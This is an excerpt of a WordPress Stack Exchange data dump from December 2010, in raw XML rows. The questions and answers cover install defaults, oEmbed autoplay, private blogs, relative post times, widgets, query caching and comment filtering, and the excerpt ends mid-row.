  <row Id="5360" PostTypeId="2" ParentId="5357" CreationDate="2010-12-14T17:29:53.047" Score="6" ViewCount="" Body="&lt;p&gt;Sure. &lt;code&gt;wp_install_defaults()&lt;/code&gt; is a pluggable function. (As are wp_new_blog_notification() and wp_upgrade(), in case you ever need to override those too.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# in wp-config.php&#xA;if ( defined('WP_INSTALLING') &amp;amp;&amp;amp; WP_INSTALLING ) {&#xA;  include_once dirname(__FILE__) . '/wp-content/install.php';&#xA;}&#xA;&#xA;# in wp-content/install.php&#xA;function wp_install_defaults($user_id) {&#xA;  global $wpdb, $wp_rewrite, $current_site, $table_prefix;&#xA;  // do whatever you want here...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-14T17:29:53.047" CommentCount="4" />
  <row Id="5361" PostTypeId="2" ParentId="5346" CreationDate="2010-12-14T17:39:57.470" Score="4" ViewCount="" Body="&lt;p&gt;&quot;despite the fact that it's just not necessary&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'd be surprised by how unnecessary looking stuff has a tendency of becoming absolutely necessary on some poorly configured servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else yes, it can be overridden using filters. You're looking into overriding the stuff in &lt;code&gt;sanitize_file_name()&lt;/code&gt;, which is located in wp-includes/formatting.php.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-14T17:39:57.470" CommentCount="2" />
  <row Id="5362" PostTypeId="1" CreationDate="2010-12-14T18:17:41.750" Score="2" ViewCount="260" Body="&lt;p&gt;I'm having a problem here.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am passing this through a custom field: &lt;a href=&quot;http://www.youtube.com/watch?v=E6P1Q-UycHA&amp;amp;autoplay=1&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=E6P1Q-UycHA&amp;amp;autoplay=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(notice the &quot;autoplay=1&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I load the video on my theme using wp_oembed_get... it displays the video fine, but it does not listen to the &quot;autoplay=1&quot; variable I am passing through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the videos to play on the load of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alain Fontaine&lt;/p&gt;&#xA;" OwnerUserId="1983" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-16T11:35:03.293" LastActivityDate="2010-12-16T18:17:13.273" Title="WP Oembed not passing through the &quot;autoplay=1&quot; variable" Tags="&lt;oembed&gt;" AnswerCount="2" />
  <row Id="5364" PostTypeId="1" CreationDate="2010-12-14T18:54:41.707" Score="2" ViewCount="259" Body="&lt;p&gt;I am very new at all this and not a programmer. I want to know how to set up a private blog that requires a member login to view it. Is there a widget that one may suggest that does this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Unite theme and the site I am trying to put together is at &lt;a href=&quot;http://tmpfire.com&quot; rel=&quot;nofollow&quot;&gt;tmpfire.com&lt;/a&gt;. I would appreciate all the help I can get.&lt;/p&gt;&#xA;" OwnerUserId="1971" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-14T21:31:06.937" LastActivityDate="2011-01-25T21:00:21.887" Title="How can I create a separate blog that is private?" Tags="&lt;login&gt;&lt;private&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="5365" PostTypeId="1" AcceptedAnswerId="5366" CreationDate="2010-12-14T18:55:42.783" Score="2" ViewCount="140" Body="&lt;p&gt;I am looking for a way that I could add some code to my wordpress template to display the time of a post in relative terms. So if, for example, I posted something 5 minutes ago it would say something along the lines of Posted 6 minutes ago or 2 days ago, or 1 week ago. You get the idea. Could anyone give me some guidance on how I could go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2010-12-15T18:40:58.240" Title="Relative Time On Posts" Tags="&lt;theme-development&gt;&lt;posts&gt;&lt;timestamp&gt;" AnswerCount="2" />
  <row Id="5366" PostTypeId="2" ParentId="5365" CreationDate="2010-12-14T19:25:55.733" Score="3" ViewCount="" Body="&lt;p&gt;WordPress actually has an obscure and little known function called &lt;code&gt;human_time_diff()&lt;/code&gt; that does this. It takes two arguments; the first is the earlier timestamp, and the second is the later timestamp. Both should be Unix timestamps. The first argument is required, but the second is optional, and will use &lt;code&gt;time()&lt;/code&gt; if left empty. So, for example, in the loop, you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Posted &amp;lt;?php echo human_time_diff( get_the_time( 'U' ) ); ?&amp;gt; ago.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function will only do minutes, hours, and days, though. If you need to get weeks, for example, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$diff = explode( ' ', human_time_diff( get_the_time( 'U' ) ) );&#xA;if( $diff[1] == 'days' &amp;amp;&amp;amp; 7 &amp;lt;= $diff[0] ){&#xA;  $diff[1] = 'week';&#xA;  $diff[0] = round( (int)$diff[0] / 7 );&#xA;  if( $diff[0] &amp;gt; 1 )&#xA;    $diff[1] .= 's';&#xA;  $diff = implode( ' ', $diff );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would give you &lt;code&gt;N week(s)&lt;/code&gt; as a string.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-14T19:25:55.733" CommentCount="2" />
  <row Id="5367" PostTypeId="1" AcceptedAnswerId="5894" CreationDate="2010-12-14T19:47:26.890" Score="2" ViewCount="245" Body="&lt;p&gt;I have a custom role, &quot;Ministry Representative&quot;, which is able to log in and create and manage their own &quot;Opportunities&quot; and &quot;Events&quot;, which is each a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front end of the site, you can filter opportunities or events by &quot;Ministry&quot;, which is a custom taxonomy associated with both the &quot;Opportunities&quot; and &quot;Events&quot; custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the backend, I create an account for a &quot;Ministry Representative&quot; to manage what appears on their profile as well as within the filtered results on the &quot;Opportunities&quot; and &quot;Events&quot; index pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Challenge&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a &quot;Ministry Representative&quot; goes to create a new &quot;Event&quot;, they enter the details, and, from the custom taxonomy, they have to choose:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Location (a hierarchal custom taxonomy)&lt;/li&gt;&#xA;&lt;li&gt;Presenter (a non-hierarchal custom taxonomy)&lt;/li&gt;&#xA;&lt;li&gt;Ministry (a non-hierarchal custom taxonomy)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, in essence, they have to choose themselves. John Doe, who is a &quot;Ministry Representative&quot; for &quot;Ministry A&quot;, has to choose his own ministry from a dropdown (a custom meta box via WP Alchemy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Ideal Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, when a new &quot;Event&quot; or &quot;Opportunity&quot; is created by John Doe of &quot;Ministry A&quot;, the association is made without any input required on the interface level by the end-user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I &lt;em&gt;think&lt;/em&gt; I'm looking for is a way to associate a user account with a specific term within a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense? Is there, perhaps, another way to look at the problem? As I'm imagining, I could see other applications which could make this useful. An account is created and when X user contributes a given type of content, pre-selected terms are automatically associated to their contributed content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or ideas are greatly appreciated. Thank you! &lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-01-19T21:23:19.380" Title="Associating an &quot;author&quot; with a custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;roles&gt;&lt;custom-roles&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5368" PostTypeId="2" ParentId="1868" CreationDate="2010-12-14T20:40:51.337" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It's not. Definitely. The iframe is&#xA;  launching, it's just not rendering&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then it's hardly a WP question...&#xA;Time to call Vimeo support.&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2010-12-14T20:40:51.337" />
  <row Id="5369" PostTypeId="2" ParentId="5362" CreationDate="2010-12-14T20:56:13.847" Score="0" ViewCount="" Body="&lt;p&gt;Anything &lt;strong&gt;after the first parameter&lt;/strong&gt; must be sent as an array of arguments.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the example given on the codex page.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_oembed_get&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_oembed_get&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're attempting to take a custom field value and have the embed code convert it into a video(ie. what would happen if you placed it into the content), then you can do something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;   N - replace with a valid post ID&#xA;   key - replace with a valid custom field key(name)&#xA;*/&#xA;$data = get_post_meta( N, 'key', true );&#xA;if( $data )&#xA;   echo apply_filters( 'the_content', $data );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This of course will run several filters over the data that you don't need, but it does the trick all the same..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-16T18:17:13.273" LastActivityDate="2010-12-16T18:17:13.273" CommentCount="5" />
  <row Id="5370" PostTypeId="2" ParentId="5367" CreationDate="2010-12-14T21:29:38.480" Score="0" ViewCount="" Body="&lt;p&gt;I think you should use usermeta to accomplish this. For example, have the user's 'ministry' set on their profile (it would basically just be a list of the terms in that taxonomy) and save the tax_term_id as a usermeta. Additionally, you should create a new term in the Presenter taxonomy, using the user_login as the term name to ensure one unique term per presenter. There's no need to save this tax_term_id in the usermeta, though. Location could also be set from the profile and saved in usermeta, but it might make more sense to just use the default UI that WordPress uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have all of that set up, you would want to hook into the &lt;code&gt;'save_post'&lt;/code&gt; action to make sure that all of these terms get applied to the post as it's saved, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I don't understand why you'd need a taxonomy directly related to the presenter, since you can already query for the author of a post.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-14T21:29:38.480" CommentCount="1" />
  <row Id="5371" PostTypeId="2" ParentId="5364" CreationDate="2010-12-14T21:33:47.153" Score="3" ViewCount="" Body="&lt;p&gt;Yes, you can set up a separate, private blog that requires members to log in.  You can do this with a plug-in called &lt;a href=&quot;http://wordpress.org/extend/plugins/members-only/&quot; rel=&quot;nofollow&quot;&gt;Members Only&lt;/a&gt; - it's freely available from the WordPress plug-in repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who visits the site who's not logged in will be directed automatically to the login screen.  After users log in, they can browse the site normally.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Edit 12/15/10&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Based on your comments, it sounds like you don't need a private blog - you need a private bulletin board or forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend setting up a system like &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbPress&lt;/a&gt; in a sub-folder on the site (i.e. &lt;a href=&quot;http://tmpfire.com/forum/&quot; rel=&quot;nofollow&quot;&gt;http://tmpfire.com/forum/&lt;/a&gt;) and installing bbPress in that folder.  You can incorporate bbPress with WordPress, or keep it entirely separate.  But you can also keep it private.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you can have a WordPress-powered website with a private information/discussion board for members only.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-15T17:01:44.083" LastActivityDate="2010-12-15T17:01:44.083" CommentCount="9" />
  <row Id="5372" PostTypeId="1" AcceptedAnswerId="5373" CreationDate="2010-12-14T21:34:56.423" Score="0" ViewCount="215" Body="&lt;p&gt;I've found a widget that I need to add to more than one sidebar widget area. However, apparently its been coded so that once you drag it from &quot;available widgets&quot; over to a sidebar widget, it disappears from the &quot;available widgets&quot; listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use it in more than one sidebar. What determines this in the widget code?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-15T20:24:01.437" Title="How to add multiple copies of a widget from &quot;available widgets&quot;" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="5373" PostTypeId="2" ParentId="5372" CreationDate="2010-12-14T21:57:26.623" Score="4" ViewCount="" Body="&lt;p&gt;Sounds like your widget written in the old (pre 2.8) style rather than using the widget class. If that's the case, you need to add code in a few different places to handle multiple instances (it's not a simple option you can turn on or off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;this page in the Codex&lt;/a&gt;, and &lt;a href=&quot;http://justcoded.com/php-mysql/wordpress-multi-widgets/&quot; rel=&quot;nofollow&quot;&gt;this article about creating a multiple instance widget&lt;/a&gt; linked from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the complexity of the widget, it might be easier to just rewrite it using the Widgets class (examples are provided in that Codex article). It handles multiple instances automagically.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-14T21:57:26.623" CommentCount="1" />
  <row Id="5374" PostTypeId="2" ParentId="5372" CreationDate="2010-12-14T22:02:27.920" Score="2" ViewCount="" Body="&lt;p&gt;It's due to how the widget is registered, the older &lt;code&gt;register_sidebar_widget&lt;/code&gt; function didn't support creating multiple instances. That function is now deprecated and has been replaced by &lt;code&gt;register_widget&lt;/code&gt; which allows creating multiple instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar_widget&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_sidebar_widget&lt;/a&gt; - old&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_widget&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_widget&lt;/a&gt; - new&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the &lt;a href=&quot;http://codex.wordpress.org/Widgets_API#Developing_Widgets_on_2.8.2B&quot; rel=&quot;nofollow&quot;&gt;Widget API&lt;/a&gt; gives a decent enough example of a multi instance widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in other words, just update your widgets to use the newer widget registeration method.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-15T20:24:01.437" LastActivityDate="2010-12-15T20:24:01.437" />
  <row Id="5375" PostTypeId="2" ParentId="5372" CreationDate="2010-12-14T22:49:35.810" Score="1" ViewCount="" Body="&lt;p&gt;You're understanding it correctly. The API doesn't allow the same widget to be used in multiple sidebars. This is due to the way widgets are deleted. If it were allowed, WP would end up deleting the same widget from all sidebars if you delete it from a single one; it would also leave dead widget references in sidebars.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-14T22:49:35.810" CommentCount="2" />
  <row Id="5376" PostTypeId="1" CreationDate="2010-12-14T23:24:19.993" Score="0" ViewCount="70" Body="&lt;p&gt;We're doing some fun things with Buddypress &amp;amp; personalization of post streams.  A user clicks a button next to post_type &quot;product&quot; and he/she can subscribe to posts tagged with a matching slug.  For example, if a user becomes a fan of &quot;Xbox 360,&quot; the user's personalized product stream should display any post excerpts from posts tagged &quot;Xbox 360.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this requires 5 subqueries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(ID), post_title, post_date FROM wp_posts WHERE post_type=\'post\' AND post_status=\'publish\' AND ID IN (&#xA;   SELECT object_id FROM wp_term_relationships WHERE term_taxonomy_id IN &#xA;     (SELECT term_taxonomy_id FROM wp_term_taxonomy WHERE term_id IN&#xA;       (SELECT term_id FROM wp_terms WHERE slug IN&#xA;         (SELECT post_name FROM wp_posts WHERE ID IN &#xA;           (SELECT content FROM wp_bp_activity where user_id=\''.$bp-&amp;gt;loggedin_user-&amp;gt;id.'\' and component=\'bp-soc\' and '.$ptype.'))))) ORDER BY post_date LIMIT 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we can cache the queries but some products will have semi-frequent updates (maybe 4x a day or more).  I'm estimating something like 4,000 queries like this per day, maybe up to 500 per hour.  Server: 512MB RAM VPS w/ Cloudflare caching enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendations on how to implement this and/or any additional caching tools?&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T14:55:50.633" LastActivityDate="2011-02-06T14:55:50.633" Title="How to cache posts displayed based on user preferences?" Tags="&lt;taxonomy&gt;&lt;mysql&gt;&lt;buddypress&gt;&lt;cache&gt;" CommentCount="2" />
  <row Id="5377" PostTypeId="2" ParentId="5358" CreationDate="2010-12-14T23:47:18.897" Score="2" ViewCount="" Body="&lt;p&gt;You create your own &lt;code&gt;comments_template&lt;/code&gt;, it can be a duplicate function of the default one, the only changes are the database queries anyway. But you need your own function as WP doesn't help you with filters here. SO, name it &lt;code&gt;my_comments_template()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $filter = mysql_real_escape_string($_POST['comment-filter']);&#xA;  if(!empty($filter)) $filter = &quot;AND (comment_content LIKE '%%{$filter}%%' OR comment_author LIKE '%%{$filter}%%')&quot;;&#xA;&#xA;  if($user_ID)&#xA;    $comments = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;comments WHERE (comment_post_ID = %d) {$filter} AND (comment_approved = '1' OR (user_id = %d AND comment_approved = '0')) ORDER BY comment_date_gmt&quot;, $post-&amp;gt;ID, $user_ID));&#xA;  elseif(empty($comment_author))&#xA;    $comments = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;comments WHERE (comment_post_ID = %d) {$filter} AND (comment_approved = '1') ORDER BY comment_date_gmt&quot;, $post-&amp;gt;ID));&#xA;  else&#xA;    $comments = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;comments WHERE (comment_post_ID = %d) {$filter} AND (comment_approved = '1' OR (comment_author = %s AND comment_author_email = %s AND comment_approved = '0')) ORDER BY comment_date_gmt&quot;, $post-&amp;gt;ID, wp_specialchars_decode($comment_author, ENT_QUOTES), $comment_author_email));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add a simple form in the comments template file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;form action=&quot;&amp;lt;?php echo get_permalink(); ?&amp;gt;&quot; method=&quot;post&quot; id=&quot;comment-filter&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; name=&quot;comment-filter&quot; rel=&quot;&amp;lt;?php _e(&quot;Search in comments&quot;); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo esc_attr($_POST['comment-filter']); ?&amp;gt;&quot; size=&quot;20&quot; /&amp;gt;&#xA;   &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and of course replace all &lt;code&gt;comments_template()&lt;/code&gt; function calls with &lt;code&gt;my_comments_template()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm implementing this code into a theme I'm working on. My code is a little bigger as I've added ajax &amp;amp; query highlighting... If you want to see it all wait for the 1.3 release of my &lt;a href=&quot;http://digitalnature.ro/projects/atom-test/&quot; rel=&quot;nofollow&quot;&gt;Atom&lt;/a&gt; theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I didn't figure out yet is how to keep $_POST['comment-filter'] when navigating trough comment pages. For eg. if you search for something inside 5000 comments and you get 1000 comments containing that text and broken up in pages, when you switch the page the comment filter query is lost and you get 2000 comments displayed again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is really useful on Tech related WordPress sites that have hundreds of comments on posts...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-15T00:10:07.130" LastActivityDate="2010-12-15T00:10:07.130" />
  <row Id="5378" PostTypeId="1" AcceptedAnswerId="5397" CreationDate="2010-12-15T00:10:03.983" Score="0" ViewCount="112" Body="&lt;p&gt;Has anyone used any of the Wordpress Weather Plugins? Any recommendations? Anyone tried out more than one? Hoping to get pointed in the right direction before I dive in.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2010-12-15T06:53:03.233" Title="Weather Plugin Recommendation" Tags="&lt;plugin-recommendation&gt;" AnswerCount="3" />
  <row Id="5379" PostTypeId="2" ParentId="5318" CreationDate="2010-12-15T00:17:30.270" Score="2" ViewCount="" Body="&lt;p&gt;Based on this same code, you may use this to show every custom post types and custom taxonomies count :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add custom taxonomies and custom post types counts to dashboard&#xA;add_action( 'right_now_content_table_end', 'my_add_counts_to_dashboard' );&#xA;function my_add_counts_to_dashboard() {&#xA;    // Custom taxonomies counts&#xA;    $taxonomies = get_taxonomies( array( '_builtin' =&amp;gt; false ), 'objects' );&#xA;    foreach ( $taxonomies as $taxonomy ) {&#xA;        $num_terms  = wp_count_terms( $taxonomy-&amp;gt;name );&#xA;        $num = number_format_i18n( $num_terms );&#xA;        $text = _n( $taxonomy-&amp;gt;labels-&amp;gt;singular_name, $taxonomy-&amp;gt;labels-&amp;gt;name, $num_terms );&#xA;        $associated_post_type = $taxonomy-&amp;gt;object_type;&#xA;        if ( current_user_can( 'manage_categories' ) ) {&#xA;            $num = '&amp;lt;a href=&quot;edit-tags.php?taxonomy=' . $taxonomy-&amp;gt;name . '&amp;amp;post_type=' . $associated_post_type[0] . '&quot;&amp;gt;' . $num . '&amp;lt;/a&amp;gt;';&#xA;            $text = '&amp;lt;a href=&quot;edit-tags.php?taxonomy=' . $taxonomy-&amp;gt;name . '&amp;amp;post_type=' . $associated_post_type[0] . '&quot;&amp;gt;' . $text . '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;first b b-' . $taxonomy-&amp;gt;name . 's&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t ' . $taxonomy-&amp;gt;name . 's&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;';&#xA;    }&#xA;&#xA;    // Custom post types counts&#xA;    $post_types = get_post_types( array( '_builtin' =&amp;gt; false ), 'objects' );&#xA;    foreach ( $post_types as $post_type ) {&#xA;        $num_posts = wp_count_posts( $post_type-&amp;gt;name );&#xA;        $num = number_format_i18n( $num_posts-&amp;gt;publish );&#xA;        $text = _n( $post_type-&amp;gt;labels-&amp;gt;singular_name, $post_type-&amp;gt;labels-&amp;gt;name, $num_posts-&amp;gt;publish );&#xA;        if ( current_user_can( 'edit_posts' ) ) {&#xA;            $num = '&amp;lt;a href=&quot;edit.php?post_type=' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/a&amp;gt;';&#xA;            $text = '&amp;lt;a href=&quot;edit.php?post_type=' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;first b b-' . $post_type-&amp;gt;name . 's&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t ' . $post_type-&amp;gt;name . 's&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;&#xA;        if ( $num_posts-&amp;gt;pending &amp;gt; 0 ) {&#xA;            $num = number_format_i18n( $num_posts-&amp;gt;pending );&#xA;            $text = _n( $post_type-&amp;gt;labels-&amp;gt;singular_name . ' pending', $post_type-&amp;gt;labels-&amp;gt;name . ' pending', $num_posts-&amp;gt;pending );&#xA;            if ( current_user_can( 'edit_posts' ) ) {&#xA;                $num = '&amp;lt;a href=&quot;edit.php?post_status=pending&amp;amp;post_type=' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $num . '&amp;lt;/a&amp;gt;';&#xA;                $text = '&amp;lt;a href=&quot;edit.php?post_status=pending&amp;amp;post_type=' . $post_type-&amp;gt;name . '&quot;&amp;gt;' . $text . '&amp;lt;/a&amp;gt;';&#xA;            }&#xA;            echo '&amp;lt;td class=&quot;first b b-' . $post_type-&amp;gt;name . 's&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;td class=&quot;t ' . $post_type-&amp;gt;name . 's&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2010-12-15T00:17:30.270" />
  <row Id="5380" PostTypeId="2" ParentId="5160" CreationDate="2010-12-15T00:55:21.750" Score="1" ViewCount="" Body="&lt;p&gt;Alternatively you can undo the code that disables the relationship box by re-pointing the enqueue to the xfn.js script..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create a modified version of that script, like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;    //$('#link_rel').attr('readonly', 'readonly');&#xA;    $('#linkxfndiv input').bind('click keyup', function() {&#xA;        var isMe = $('#me').is(':checked'), inputs = '';&#xA;        $('input.valinp').each( function() {&#xA;            if (isMe) {&#xA;                $(this).attr('disabled', 'disabled').parent().addClass('disabled');&#xA;            } else {&#xA;                $(this).removeAttr('disabled').parent().removeClass('disabled');&#xA;                if ( $(this).is(':checked') &amp;amp;&amp;amp; $(this).val() != '')&#xA;                    inputs += $(this).val() + ' ';&#xA;            }&#xA;        });&#xA;        $('#link_rel').val( (isMe) ? 'me' : inputs.substr(0,inputs.length - 1) );&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save as &lt;strong&gt;xfn.js&lt;/strong&gt; and place into a plugin's folder or the current theme's folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; It's a direct copy of the original(existing) script enqueued by WordPress, i've left original code that sets the rel input to read-only so you can see what's been changed(one line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add this to your plugin code, or theme's functions.php, and uncomment the appropriate line in the code sample..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function switch_xfn_src( $src, $handle ) {&#xA;    if( 'xfn' == $handle )&#xA;        //$src = plugins_url( '/xfn.js', __FILE__ ); // For use inside plugin&#xA;        //$src = get_bloginfo( 'stylesheet_directory' ) . '/xfn.js'; // For use inside theme&#xA;    return $src;&#xA;}&#xA;add_filter( 'script_loader_src', 'switch_xfn_src', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Job done... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-15T00:55:21.750" CommentCount="2" />
  <row Id="5381" PostTypeId="1" AcceptedAnswerId="5386" CreationDate="2010-12-15T02:36:27.953" Score="1" ViewCount="247" Body="&lt;p&gt;this code works fine. the problem i have is that when i submit it only checks the parent category not the subcategory even though i specified both a parent and a subcategory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please. what am i doing wrong.&#xA;ohh if you look in the html chunk, the &lt;code&gt;7&lt;/code&gt; is parent cat and the numbers after the comma are the subcategories. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php &#xA;if(isset($_POST['new_post']) == '1') {&#xA;    $post_title = $_POST['post_title'];&#xA;    $post_category = $_POST['cat'];&#xA;    $post_content = $_POST['post_content'];&#xA;    $new_post = array(&#xA;          'ID' =&amp;gt; '',&#xA;          'post_author' =&amp;gt; $user-&amp;gt;ID, &#xA;          'post_content' =&amp;gt; $post_content,&#xA;          'post_title' =&amp;gt; $post_title,&#xA;          'post_status' 